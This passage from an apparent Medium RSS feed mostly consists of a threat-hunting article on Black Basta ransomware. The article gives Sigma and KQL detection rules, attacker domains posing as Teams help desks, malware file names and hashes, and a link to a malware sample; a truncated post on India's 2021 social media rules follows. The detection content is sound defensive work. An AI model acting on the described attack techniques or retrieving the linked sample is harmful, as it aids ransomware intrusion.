supportserviceadmin.onmicrosoft[.]com  <br>- supportadministrator.onmicrosoft[.]com  <br>- cybersecurityadmin.onmicrosoft[.]com  <br><br>Exploiting Microsoft Teams:  <br>Attackers leverage Teams’ external communication feature to create fake accounts resembling IT help desks. <br>Using names like “supportadministrator” and display names like “Help Desk,” they bypass email phishing and directly message employees, gaining trust to carry out attacks.</pre><ul><li><strong>Credential Theft</strong>: Utilizes stolen or brute-forced credentials to access systems.</li></ul><p><strong>Detection Strategies</strong>:</p><ul><li>Monitor for unusual login attempts, especially from geolocations or IPs inconsistent with normal operations.</li></ul><p>Adjust the table name in the Kusto Query to match the logs stored in your environment. You can leverage tools like <a href="http://uncoder.io/">uncoder.io</a> to convert the Sigma rule into a query tailored for your preferred platform.</p><p><strong>Sigma Rule &amp; KQL Query for Unusual Login Attempts (Failed Logins)</strong></p><pre>title: Failed Login Attempts - Potential Initial Access<br>id: ddfe8916-0740-4446-b8fb-3c6e0502c61c<br>status: experimental<br>description: Detects multiple failed login attempts indicating a brute force or credential stuffing attack<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: windows_security<br>    product: windows<br>detection:<br>    selection:<br>        EventID: 4625<br>        AccountType: User<br>    condition: selection | count() by Account, IPAddress, bin(TimeGenerated, 1h) &gt; 5<br>    level: high</pre><pre>SecurityEvent<br>| where EventID == 4625 // Failed login event<br>| where AccountType == &quot;User&quot;<br>| where TimeGenerated &gt; ago(1d)<br>| summarize FailedAttempts = count() by Account, IPAddress, bin(TimeGenerated, 1h)<br>| where FailedAttempts &gt; 5 // Adjust based on your baselineUse tools to detect exploitation attempts on known vulnerabilities.</pre><p><strong>Sigma Rule for Exploitation Attempts (RDP Access)</strong>: Exclude known and trusted IP addresses, Logons by service accounts or other non-user accounts.</p><pre>title: Remote Desktop Protocol Access - Potential Exploitation<br>id: 126a8d14-5736-46df-baa1-78d42c5b2366<br>status: experimental<br>description: Detects successful RDP logons, which could indicate exploitation or lateral movement<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: windows_security<br>    product: windows<br>detection:<br>    selection:<br>        EventID: 4624<br>        LogonType: 10<br>    condition: selection<br>    timeframe: 1d<br>    level: medium<br>fields:<br>    - Account<br>    - IPAddress<br>    - LogonType<br>    - TimeGenerated</pre><p><strong>Sigma Rule &amp; KQL Query for Suspicious External Users in Microsoft Teams.</strong> (Adjust Time accordingly based on FP)</p><pre>title: Suspicious External Users in Microsoft Teams<br>id: 2b3a9a60-51a7-49f4-ae73-e02335a42d2d<br>status: experimental<br>description: Detects external users impersonating IT help desks to trick employees in Microsoft Teams.<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: office365<br>    product: microsoft_teams<br>detection:<br>    selection:<br>        EventType: &quot;ChatCreated&quot;<br>        RecordType: &quot;MicrosoftTeams&quot;<br>        DisplayName|contains: [&quot;Help Desk&quot;, &quot;securityadminhelper&quot;, &quot;supportserviceadmin&quot;, &quot;supportadministrator&quot;, &quot;cybersecurityadmin&quot;]<br>        Operation: &quot;ChatCreated&quot;<br>        UserDisplayName|re: &quot;.*admin.*onmicrosoft.com&quot;<br>    timeframe: 1h<br>    condition: selection<br>    level: medium<br>fields:<br>    - DisplayName<br>    - ExternalUser<br>    - TimeGenerated<br>    - ChatType</pre><pre>OfficeActivity<br>| where RecordType == &quot;MicrosoftTeams&quot;<br>| where Operation == &quot;ChatCreated&quot;<br>| where UserDisplayName contains &quot;Help Desk&quot; or UserDisplayName matches regex @&quot;.*admin.*onmicrosoft.com&quot;<br>| project TimeGenerated, UserDisplayName, ExternalUser, ChatType</pre><p><strong>Sigma Rule &amp; KQL Query for Suspicious QR Code Usage in Microsoft Teams:</strong></p><pre>title: Suspicious QR Code Shared in Microsoft Teams<br>id: 5c4c1b96-fdb9-41aa-ae23-4b56a9d8cd79<br>status: experimental<br>description: Detects QR codes shared in Teams chats that could link to malicious domains.<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: office365<br>    product: microsoft_teams<br>detection:<br>    selection:<br>        EventType: &quot;ChatMessage&quot;<br>        Message|contains: [&quot;qr-s1.com&quot;, &quot;.onmicrosoft.com&quot;]<br>    condition: selection<br>    timeframe: 1d<br>    level: medium<br>fields:<br>    - DisplayName<br>    - Message<br>    - ChatType<br>    - TimeGenerated</pre><pre>OfficeActivity<br>| where RecordType == &quot;MicrosoftTeams&quot;<br>| where Operation == &quot;MessageSent&quot;<br>| where Message contains &quot;qr-s1.com&quot; or Message contains &quot;.onmicrosoft.com&quot;<br>| project TimeGenerated, UserDisplayName, Message, ChatType</pre><h4>Sigma Rule &amp; KQL Query for Detection of Fake Anti-Spam Executables (AntispamConnectUS.exe):</h4><pre>title: Suspicious Anti-Spam Executable Execution<br>id: 94f1c405-aad4-4726-9f6f-bda7b045cc27<br>status: experimental<br>Author: Abhinav Pandey<br>description: Detects execution of fake anti-spam executables used by Black Basta.<br>logsource:<br>  category: process_creation<br>  product: windows<br>detection:<br>  selection:<br>    Image|endswith:<br>      - &#39;\AntispamAccount.exe&#39;<br>      - &#39;\AntispamUpdate.exe&#39;<br>      - &#39;\AntispamConnectUS.exe&#39;<br>  condition: selection<br>fields:<br>  - Image<br>falsepositives:<br>  - Legitimate software with similar names (Highly Unlikely)<br>level: high</pre><pre>DeviceProcessEvents<br>| where FileName in (&#39;AntispamAccount.exe&#39;, &#39;AntispamUpdate.exe&#39;, &#39;AntispamConnectUS.exe&#39;)<br>| project Timestamp, DeviceName, InitiatingProcessAccountName, FileName, FolderPath</pre><h4>KQL Query for Fake Helpdesk Accounts in Microsoft Teams</h4><pre>DeviceLogonEvents<br>| where LogonDisplayName in (&quot;Help Desk&quot;, &quot;IT Support&quot;)<br>| where AccountUPN endswith &quot;onmicrosoft.com&quot;<br>| project Timestamp, AccountDisplayName, AccountUPN, LogonType, IPAddress</pre><h4>2. Lateral Movement</h4><p><strong>Objective</strong>: Move through the network to identify valuable assets.</p><p><strong>Techniques Used</strong>:</p><ul><li><strong>Remote Desktop Protocol (RDP)</strong>: Moves laterally using compromised RDP credentials.</li><li><strong>Pass-the-Hash / Pass-the-Ticket Attacks</strong>: Uses stolen NTLM hashes or Kerberos tickets to gain access to other machines.</li><li><strong>Active Directory Enumeration</strong>: Scans the network for domain controllers and high-value targets using tools like Mimikatz or BloodHound.</li><li><strong>Cobalt Strike: </strong>Use of payloads such as Cobalt Strike for persistence and lateral movement.</li></ul><blockquote><strong>NTLM (NT LAN Manager)</strong>: An authentication protocol used in Windows environments.<br><strong>NTLM Hash:</strong> When a user logs in, their password is hashed (converted into a fixed-length string of characters) using the NTLM algorithm. This hash is then used for authentication instead of the plain-text password.<br><strong>Security Concern: </strong>If an attacker steals these hashes, they can use them to authenticate as the user without knowing the actual password. This technique is known as “Pass-the-Hash.”</blockquote><blockquote><strong>Kerberos Tickets:</strong> Issued during login, these tickets enable authentication without transmitting passwords in Network. If stolen, attackers can use them in “Pass-the-Ticket” attacks to impersonate users and access resources.</blockquote><blockquote><strong>Why It Matters:</strong> Both NTLM hashes and Kerberos tickets are critical components of authentication in Windows environments. If compromised, they can be used by attackers to move laterally within a network, gaining unauthorized access to other machines and sensitive data.</blockquote><p><strong>Detection Strategies</strong>:</p><ul><li>Monitor for unusual RDP activity or failed login attempts across multiple machines.</li><li>Watch for tools associated with AD enumeration (ADExplorer) or credential dumping.</li><li>Enable logging of lateral access attempts, such as event ID 4624 (login) and event ID 4769 (Kerberos Ticket Request).</li><li>Detect Network Connections to Known Malicious Domains/IPs</li><li><strong>Sigma Rule &amp; KQL Query for Lateral Movement via RDP:</strong></li></ul><pre>title: Remote Desktop Protocol Login<br>id: 1c460d84-85ae-4d42-bf17-4d799ffb118d<br>status: experimental<br>description: Detects successful remote RDP logins, which could indicate lateral movement<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: windows_security<br>    product: windows<br>detection:<br>    selection:<br>        EventID: 4624<br>        LogonType: 10<br>    condition: selection<br>    timeframe: 1d<br>    level: medium<br>fields:<br>    - Account<br>    - IPAddress</pre><pre>SecurityEvent<br>| where EventID == 4624  // Successful login event<br>| where LogonType == 10  // Remote Interactive logons (RDP)<br>| where TimeGenerated &gt; ago(1d)<br>| project TimeGenerated, Account, IPAddress, Computer, LogonType</pre><p><strong>Sigma Rule &amp; KQL Query for Use of Mimikatz or Kerberos Ticket Abuse:</strong></p><pre>title: Kerberos Service Ticket Request - Lateral Movement<br>id: 0e8c33f0-b2cd-4e23-8919-5fd8b7b1c2f4<br>status: experimental<br>description: Detects multiple Kerberos service ticket requests, which could indicate lateral movement<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: windows_security<br>    product: windows<br>detection:<br>    selection:<br>        EventID: 4769<br>    condition: selection | count() by Computer, Account, ServiceName &gt; 10<br>    timeframe: 1d<br>    level: high<br>fields:<br>    - Computer<br>    - Account<br>    - ServiceName</pre><pre>SecurityEvent<br>| where EventID == 4769  // A Kerberos service ticket was requested<br>| where TimeGenerated &gt; ago(1d)<br>| summarize Count = count() by Computer, Account, ServiceName<br>| where Count &gt; 10  // Multiple ticket requests could indicate lateral movement</pre><p><strong>KQL Query for </strong>Unusual Admin Group Enumeration:</p><pre>SecurityEvent<br>| where EventID == 4720  // A user account was created<br>| where AccountType == &quot;User&quot;<br>| where TimeGenerated &gt; ago(1d)<br>| project TimeGenerated, Account, Computer</pre><h4>3. Execution and Encryption</h4><p><strong>Objective</strong>: Execute the ransomware payload and encrypt target data.</p><p><strong>Techniques Used</strong>:</p><ul><li><strong>Payload Execution</strong>: Executes the ransomware binary, often with elevated privileges, either manually or through scheduled tasks.</li><li>Employees tricked into running remote tools like <strong>AnyDesk</strong> or <strong>Quick Assist</strong>, leading to payload execution.</li><li><strong>File Encryption</strong>: Encrypts files using strong cryptographic algorithms (AES for encryption and RSA for key protection).</li><li><strong>File Extensions</strong>: Appends extensions like .ransom or .basta to encrypted files.</li></ul><p><strong>Detection Strategies</strong>: Monitor for:</p><ul><li>Rapid file modifications or creations (e.g., files with new extensions like .basta or .ransom).</li><li>Processes performing encryption at an abnormal scale or accessing many files quickly.</li><li>Watch for suspicious file creation patterns, such as the ransomware binary dropping in unusual directories.</li></ul><p>After gaining access to the system, the threat actor installs a payload disguised as anti-spam software, using filenames such as “AntispamAccount.exe,” “AntispamUpdate.exe,” or “AntispamConnectUS.exe.”</p><pre>Malware name: AntispamConnectUS.exe<br>Name: Proxy malware (SystemBC)<br>File Size: 2.14 MB (2245632 bytes)<br>MD5: 3ea66e531e24cddcc292c758ad8b51d5<br>SHA256: cf7af42525e715bd77f8465f6ac0fd9e5bea0da0<br>VT Link: https://www.virustotal.com/gui/file/db114465cab2a9be7e57e18abfddfd9c7ecfd121090c345698f5c54bb037ba30<br>Sample Here: https://bazaar.abuse.ch/sample/db114465cab2a9be7e57e18abfddfd9c7ecfd121090c345698f5c54bb037ba30/</pre><p><strong>Sigma Rule &amp; KQL Query for Suspicious Process Execution (e.g., PowerShell, Scripts) &amp; File Extension Changes (e.g., </strong><strong>.ransom, </strong><strong>.basta)</strong>:</p><pre>title: Suspicious Process Execution - Potential Ransomware<br>id: cbd8e156-dc48-4dbf-939f-62e8c7b27b60<br>status: experimental<br>description: Detects execution of potentially malicious processes like PowerShell or CMD used in ransomware attacks<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: windows_system<br>    product: windows<br>detection:<br>    selection:<br>        FileName: [&quot;powershell.exe&quot;, &quot;cmd.exe&quot;, &quot;rundll32.exe&quot;]<br>        CommandLine: [&quot;-enc&quot;, &quot;-e&quot;]<br>    condition: selection<br>    timeframe: 1h<br>    level: high<br>fields:<br>    - FileName<br>    - CommandLine<br>    - Account</pre><pre>ProcessCreationEvents<br>| where FileName in (&quot;powershell.exe&quot;, &quot;cmd.exe&quot;, &quot;rundll32.exe&quot;)<br>| where CommandLine has_any (&quot;-enc&quot;, &quot;-e&quot;, &quot;Invoke-&quot;, &quot;IEX&quot;)  // Additional suspicious patterns<br>| where TimeGenerated &gt; ago(1h)<br>| summarize EventCount = count() by bin(TimeGenerated, 1h), FileName, CommandLine, Account, Computer<br>| project TimeGenerated, FileName, CommandLine, Account, Computer, EventCount<br><br>FileCreationEvents<br>| where FileName endswith &quot;.ransom&quot; or FileName endswith &quot;.basta&quot;<br>| where TimeGenerated &gt; ago(1d)<br>| summarize Count = count() by FileName, FolderPath, Account</pre><pre>title: Ransomware File Extension Change - .ransom or .basta<br>id: 05329b66-1eb3-47fd-a8f1-c5c58e1d5ef7<br>status: experimental<br>description: Detects file extension changes indicating file encryption by ransomware<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: windows_filesystem<br>    product: windows<br>detection:<br>    selection:<br>        FileName: [&quot;*.ransom&quot;, &quot;*.basta&quot;]<br>    condition: selection<br>    timeframe: 1d<br>    level: high<br>fields:<br>    - FileName<br>    - FolderPath<br>    - Account<br>    - LogonType</pre><p><strong>KQL Query for Large-Scale File Encryption (File Modifications):</strong></p><pre>FileModificationEvents<br>| where TimeGenerated &gt; ago(1h)<br>| summarize EncryptedFiles = count() by FileName, FolderPath, Account, Computer<br>| where EncryptedFiles &gt; 100  // Detect large numbers of encrypted files</pre><p><strong>KQL Query for </strong>Detect AnyDesk or Quick Assist Execution</p><pre>DeviceProcessEvents<br>| where FileName in (&quot;AnyDesk.exe&quot;, &quot;QuickAssist.exe&quot;, &quot;AntispamAccount.exe&quot;, &quot;AntispamUpdate.exe&quot;, &quot;AntispamConnectUS.exe&quot;)<br>| project TimeGenerated, FileName, InitiatingProcessFileName, AccountName</pre><p><strong>Sigma Rule for Detection of AnyDesk or Quick Assist Execution</strong></p><pre>title: Suspicious Remote Support Tool Execution<br>id: 8a5c8e42-39dc-4c4f-a5b6-96bf5dbd93c9<br>status: experimental<br>description: Detects execution of tools like AnyDesk, Quick Assist, or related payloads.<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: process_creation<br>    product: windows<br>detection:<br>    selection:<br>        FileName: [&quot;AnyDesk.exe&quot;, &quot;QuickAssist.exe&quot;, &quot;AntispamAccount.exe&quot;, &quot;AntispamUpdate.exe&quot;, &quot;AntispamConnectUS.exe&quot;]<br>    condition: selection<br>    timeframe: 1d<br>    level: high<br>fields:<br>    - FileName<br>    - CommandLine<br>    - ParentProcess<br>    - TimeGenerated</pre><h4>4. Exfiltration</h4><p><strong>Objective</strong>: Steal sensitive data to increase ransom leverage.</p><p><strong>Techniques Used</strong>:</p><ul><li><strong>Data Compression</strong>: Compresses stolen data into archives (e.g., ZIP or RAR files) to facilitate transfer.</li><li><strong>Data Transfer</strong>: Sends stolen data to remote servers or via file-sharing platforms like Mega or private FTP servers.</li></ul><p><strong>Detection Strategies</strong>: Monitor for:</p><ul><li>Large outbound data transfers to unusual or external IP addresses.</li><li>Tools like 7-Zip, WinRAR, or custom scripts running unexpectedly.</li><li>Use DLP (Data Loss Prevention) solutions to identify sensitive files being moved or compressed.</li><li><strong>Sigma Rule &amp; KQL Query for Large Outbound Data Transfers</strong>:</li></ul><pre>title: Large Outbound Data Transfer - Potential Data Exfiltration<br>id: 7c14feab-84d3-4b50-9b96-b0e56bb9157f<br>status: experimental<br>description: Detects large outbound data transfers which may indicate data exfiltration<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: network<br>    product: azure_network<br>detection:<br>    selection:<br>        Direction: Outbound<br>    condition: selection | summarize TotalBytes = sum(TotalBytes) by DestinationIP, SourceIP, bin(TimeGenerated, 10m) | where TotalBytes &gt; 100000000<br>    timeframe: 1h<br>    level: high<br>fields:<br>    - DestinationIP<br>    - SourceIP<br>    - Account<br>    - TimeGenerated</pre><pre>NetworkSecurityGroupFlowEvents<br>| where Direction == &quot;Outbound&quot;<br>| where TimeGenerated &gt; ago(1h)<br>| summarize TotalBytes = sum(TotalBytes) by DestinationIP, SourceIP, Account, bin(TimeGenerated, 10m), Protocol, DestinationPort<br>| where TotalBytes &gt; 100000000  // Adjust based on normal traffic patterns<br>| project TimeGenerated, SourceIP, DestinationIP, Account, TotalBytes, Protocol, DestinationPort<br>| order by TotalBytes desc</pre><p><strong>Sigma Rule &amp; KQL Query for Unusual File Transfers (FTP/SMB)</strong>:</p><pre>title: Suspicious FTP/SMB File Transfers - Potential Exfiltration<br>id: f9bb8b61-6b90-4f9a-9881-6f9ed7bb2f6b<br>status: experimental<br>description: Detects suspicious file transfers to FTP/SMB, which may indicate exfiltration<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: windows_filesystem<br>    product: windows<br>detection:<br>    selection:<br>        ActionType: &quot;FileUpload&quot;<br>    condition: selection<br>    timeframe: 1h<br>    level: high<br>fields:<br>    - FileName<br>    - DestinationPath<br>    - SourceIP<br>    - Account<br>    - TimeGenerated</pre><pre>FileShareAccessEvents<br>| where ActionType == &quot;FileUpload&quot;  // Detect uploads<br>| where TimeGenerated &gt; ago(1h)<br>| summarize UploadCount = count() by bin(TimeGenerated, 10m), FileName, DestinationPath, SourceIP, Account<br>| project TimeGenerated, FileName, DestinationPath, SourceIP, Account, UploadCount<br>| order by TimeGenerated desc</pre><h4>5. Ransom Note</h4><p><strong>Objective</strong>: Demand ransom and signal the completion of the attack.</p><p><strong>Techniques Used</strong>:</p><ul><li><strong>Ransom Note Creation</strong>: Leaves ransom notes in directories or on the desktop, often named readme.txt or instructions.html.</li><li><strong>Communication Instructions</strong>: Includes payment details (usually in cryptocurrency) and contact methods (via Tor or secure email).</li><li><strong>Persistence</strong>: Sets up mechanisms to ensure re-execution if payments are delayed.</li></ul><p><strong>Detection Strategies</strong>: Monitor for:</p><ul><li>Creation of ransom note files in multiple locations across the system.</li><li>Persistence mechanisms like registry key modifications or scheduled tasks created post-encryption.</li><li>Use behavioral detection to spot unusual file creation spikes after encryption halts.</li></ul><p><strong>Sigma Rule &amp; KQL Query for Creation of Ransom Note Files</strong>:</p><pre>title: Ransom Note Creation - Detection of Ransomware Files<br>id: 4c52e084-8f6f-4d10-826d-268dded8e82d<br>status: experimental<br>description: Detects the creation of ransom note files commonly used in ransomware attacks<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: windows_filesystem<br>    product: windows<br>detection:<br>    selection:<br>        FileName: [&quot;readme.txt&quot;, &quot;instructions.html&quot;]<br>    condition: selection<br>    timeframe: 1d<br>    level: high<br>fields:<br>    - FileName<br>    - FolderPath<br>    - Account<br>    - Computer</pre><pre>FileCreationEvents<br>| where FileName endswith &quot;readme.txt&quot; or FileName endswith &quot;instructions.html&quot;<br>| where TimeGenerated &gt; ago(1d)<br>| project TimeGenerated, FileName, FolderPath, Account, Computer</pre><p><strong>Sigma Rule &amp; KQL Query for Persistence Mechanisms (Registry Key Changes)</strong>:</p><pre>title: Registry Persistence Mechanism - Potential Ransomware<br>id: 27ad4b4a-dc72-45d7-bfe9-f7463c0c9be3<br>status: experimental<br>description: Detects the creation of persistence mechanisms through registry key modifications<br>author: Abhinav Pandey<br>date: 2024-11-19<br>logsource:<br>    category: windows_registry<br>    product: windows<br>detection:<br>    selection:<br>        RegistryKey: [&quot;\\Run&quot;, &quot;Software\\Microsoft\\Windows\\CurrentVersion\\Run&quot;]<br>    condition: selection<br>    timeframe: 1d<br>    level: high<br>fields:<br>    - RegistryKey<br>    - RegistryValue<br>    - Account<br>    - Computer</pre><pre>RegistryEvents<br>| where RegistryKey has_any (&quot;\\Run&quot;, &quot;Software\\Microsoft\\Windows\\CurrentVersion\\Run&quot;)<br>| where TimeGenerated &gt; ago(1d)<br>| summarize ChangeCount = count() by bin(TimeGenerated, 1h), RegistryKey, RegistryValue, Account, Computer<br>| project TimeGenerated, RegistryKey, RegistryValue, Account, Computer, ChangeCount<br>| order by TimeGenerated desc</pre><h3>Key Indicators of Compromise (IoCs)</h3><ol><li><strong>Phishing Indicators:</strong> Email campaigns with impersonated IT support.</li><li><strong>File Hashes:</strong> Detect known malicious hashes of ransomware payloads.</li><li><strong>Network Patterns:</strong> <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-131a">Connections to unusual domains/IPs used for data exfiltration.</a></li></ol><h3>Actionable Steps for Threat Hunting Black Basta</h3><ul><li>Deploy EDR tools configured for: Command-line analysis, Registry change alerts &amp; File system monitoring for ransomware extensions.</li><li>Use provided SIGMA and KQL queries to tailor detection in your environment (e.g., Azure Sentinel, Elastic, Splunk). Adjust them accordingly.</li><li>Continuously update IoC databases and signatures for ransomware families.</li><li><strong>Proactive Hunting</strong>: Utilizing tools like KQL and SIGMA for threat hunting can aid in early detection and response to Black Basta’s activities</li></ul><h3><strong>References</strong></h3><ul><li><a href="https://www.bleepingcomputer.com/news/security/black-basta-ransomware-poses-as-it-support-on-microsoft-teams-to-breach-networks/">https://www.bleepingcomputer.com/news/security/black-basta-ransomware-poses-as-it-support-on-microsoft-teams-to-breach-networks/</a></li><li><a href="https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/black-basta">https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/black-basta</a></li><li><a href="https://flashpoint.io/blog/understanding-black-basta-ransomware/">https://flashpoint.io/blog/understanding-black-basta-ransomware/</a></li><li><a href="https://medium.com/@Cyfirma_/black-basta-ransomware-ac923908d958">https://medium.com/@Cyfirma_/black-basta-ransomware-ac923908d958</a></li><li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-131a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-131a</a></li></ul><p>Tags: <em>Black Basta ransomware, threat hunting, KQL, SIGMA rules, ransomware detection, Microsoft Teams attacks.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=038e6a976d0b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyversity/effective-threat-hunting-black-basta-ransomware-with-kql-and-sigma-038e6a976d0b">Effective Threat Hunting: Black Basta Ransomware with KQL and SIGMA</a> was originally published in <a href="https://medium.com/cyversity">Cyversity</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The New Indian Guidelines.]]></title>
            <link>https://medium.com/cyversity/the-new-indian-guidelines-870d6a09bc2b?source=rss-aba5cf53a064------2</link>
            <guid isPermaLink="false">https://medium.com/p/870d6a09bc2b</guid>
            <category><![CDATA[twitter]]></category>
            <category><![CDATA[instagram]]></category>
            <category><![CDATA[facebook]]></category>
            <category><![CDATA[twitter-bans]]></category>
            <category><![CDATA[indian-guidelines]]></category>
            <dc:creator><![CDATA[Abhinav pandey]]></dc:creator>
            <pubDate>Tue, 25 May 2021 19:28:44 GMT</pubDate>
            <atom:updated>2021-05-26T05:08:07.012Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wk545anjKatWZjY4dsIh3g.png" /></figure><p><strong>India’s New Playbook to Reign in Big-Tech, A Trouble for the Darlings of the Internet?</strong></p><p>A TEMPLATE THAT WE CAN SEE MORE AND MORE COUNTRIES ENDORSE.</p><p>The Internet has been a living ideogram of world chaos and after more than a decade of unchecked expansion, the walls are closing in on tech giants and unregulated content. In a very short period from now, the contemporary <strong>digital regime will take effect</strong> which will make the Indian state a stakeholder on the internet and content regulation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/0*jBicdfEvVa34NWUS" /><figcaption>How the Internet is, Chaotic!</figcaption></figure><p>So, what is this whole ruckus about? Here is an <strong>overview of the current scenario</strong>. A few months back, the Indian government issued <strong>new sets of Guidelines for social media, digital media and OTT platforms</strong>. For social media, it was substantially targeted at finding the originator of the mischievous content. For digital media and OTT Platforms, it was meant to increase regulations.</p><p>With the recent ongoing skirmish between <strong>twitter and the Indian government</strong>, the new rules will require the big tech social media companies to bring down unlawful content on their platforms within a particular frame of time when told to do so by a court or by notice from an appropriate government agency. It also comprehends a rule/category for sexual content where the intermediary or the platform has to remove the content within 24 hours when notified by the government or court to do so.</p><p>The Union Law minister stated that the law will come into effect from the day they are notified in the gazette. With that, An <strong>additional 3 months</strong> were given for “Significant social media intermediaries (5 million registered users)” to implement or comply with the guidelines. Apparently, All major Tech companies failed to comply with the rules, and thus hang on a rope being swung by the Indian Govt.</p><p>Here are the key takeaways from the guidelines:</p><h3>Tracking the first originator:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/0*Y7Xoi3bjEyR5dC9H" /><figcaption>The Source of the content can be easily found!</figcaption></figure><p>It will be done primarily to <strong>combat fake news</strong>. It will make social media intermediaries enable the identification of the first originator of the information. With that, it will make the intermediary liable for legal proceedings too. This means that even <strong>Twitter or other Tech giants officials could be booked for a post</strong> that is in violation of the rules on their respective platform.</p><h3>The Three officers</h3><p>It makes a category of companies that have a certain number of users (5 million and above) employ three employees who should reside in India to deal with grievances and to be part of the grievance redressal system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/0*FweVBg3Dy2pjWO7w" /><figcaption>Officers employed by the Tech Giants!</figcaption></figure><p>This won’t apply to small platforms. The three types of Officers will be:</p><p><strong>1.Chief compliance officer</strong>: He/she will be responsible for establishing compliance with the act and rules.</p><p><strong>2.</strong> <strong>A Nodal person</strong>: for 24–7 coordination with law enforcement agencies and officers.</p><p><strong>3.Resident grievance officer:</strong> Responsible for all functions mentioned under the grievance redressal mechanism/system.</p><h3>OTT AND DIGITAL MEDIA</h3><p>It includes a code of ethics, procedure and safeguards concerning digital/online media.</p><p>The rules will apply to every platform from online news and digital media to OTT platforms like Netflix, Amazon Prime and Zee5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*kUu2ZVumxNSf8XSVLEvDrQ.png" /><figcaption>The girl is reading my article obviously! She is commenting!</figcaption></figure><p>The norms that apply to Television/offline media would apply to online digital media and platforms too.</p><h3><strong>So, how will these rules be followed/adhered to?</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*HiHfqjxitxCR59-UO5bLAQ.png" /><figcaption>Yes, The Three-Tier Structure!</figcaption></figure><p>Here is the formula:</p><h3>Three-tier Structure</h3><p><strong>First level:</strong> Grievance redressal officer (<strong>Self-regulation</strong> by the applicable entity or by the company) The officer has to decide within 15 days of the grievance registered. If the officer fails to comply and make a satisfactory decision, it would then go to Second-tier.</p><p><strong>Second level:</strong> This involves self-regulation by the self-regulating bodies of the companies. (like the <strong>press council of India</strong>). It would be a body headed by a retired judge of the Supreme court, High Court, or an independent and eminent person from media, broadcasting, entertainment, child rights, human rights, or other relevant fields. It must be registered with the I&amp;B Ministry. This body holds the power to warn or censure the publisher, demand an apology, reclassify ratings, or even censor the content as it deems fit.</p><p>If the creator fails to fall in with the directions of the self-regulating body, the matter will be transferred to the Central Government at the third tier</p><p><strong>Third Level: </strong>Oversight mechanism by Central government.</p><p>At this level, <strong>an inter-departmental committee</strong> will be formed by the I&amp;B ministry to hear grievances arising out of the decision of the self-regulating body and take inappropriate action. It will consist of representatives from the Ministry of Information and Broadcasting, Ministry of Women and Child Development, Ministry of Law and Justice, Ministry of Home Affairs, Ministry of Electronics and Information Technology, Ministry of External Affairs, Ministry of Defence, and such other Ministries and Organisations</p><h3>Category Specific Guidelines</h3><p>There are five categories based on age.</p><ol><li><strong>U- Universal </strong>— Suitable for all</li></ol><p>A program that is appropriate for all ages</p><p><strong>2. U/A- General Viewing:</strong> May contain some scenes that may be inappropriate for young children:</p><p><strong>3. U/A-7+:</strong> these themes may be more mature and parental discretion is suggested before allowing younger children to watch this program.</p><p>4. <strong>U/A 13+</strong>: Suitable for 13 years and over A program that is intended for more mature audiences, parents should take caution and learn more before allowing their older children to watch this program.</p><p><strong>5. U/A 16+:</strong> Suitable for 16 years and over A program that is intended for adults. The themes, depictions and level of content are mature and at a level that is not appropriate for children.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*HLLrTsiK_RgDVE2ycfsCAQ.png" /><figcaption>Be Like Gandhi Ji’s Bandar! Huh, Sorry for the Joke!</figcaption></figure><p>So, in conclusion for category guidelines, there will be five categories based on age. <strong>Universal age, 7 plus, 13 plus, 16 plus and adults.</strong> There will be a comprehensive <strong>age authentication process</strong> for adult content.</p><h3>Global Reactions</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IgRCCMEVwx29t-G2AEMomQ.png" /><figcaption>It is BOOM for Darlings, as the Govt. Seems quite serious with the laws!</figcaption></figure><p>While Facebook embraced the decision by endorsing that they have always been clear as a company that they welcome regulations that set guidelines for addressing today’s toughest challenges on the Internet. The Facebook spokesperson stated that the company is committed to people’s ability to freely and safely express themselves on the platforms. Now, It has asked for more talks with the government regarding compliance with the new laws.</p><p>Twitter and Netflix spokesperson refused to add anything regarding the guidelines.</p><p>Apart from KOO, No major Tech company have complied with the order yet.</p><h3>Upshots</h3><p>● With all of the above-mentioned points, the significant social media intermediaries are required to have a physical contact address in India.</p><p>● Officer’s details and the physical contact address must be notably published on its website or mobile-based Internet application.</p><p>● The data retention period has been doubled, and intermediaries are now required to preserve information for 180 days (six months!) for investigative purposes. The data has to be maintained even after a user has obliterated their accounts.</p><p>● The significant social media intermediary shall also provide a visible and demonstrable mark identifying such verification of individuals.</p><p>● The Intermediary Rules provide impromptu powers to the MI&amp;B in cases where “no delay is acceptable” and it can block the content if required.</p><p>In Conclusion, A <strong>Complete ban seems distant</strong> but an increase in regulations for the Darlings of the Internet is happening.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*nK0616V2w3ADprVskL508w.png" /><figcaption>It would be nice of a footprint like 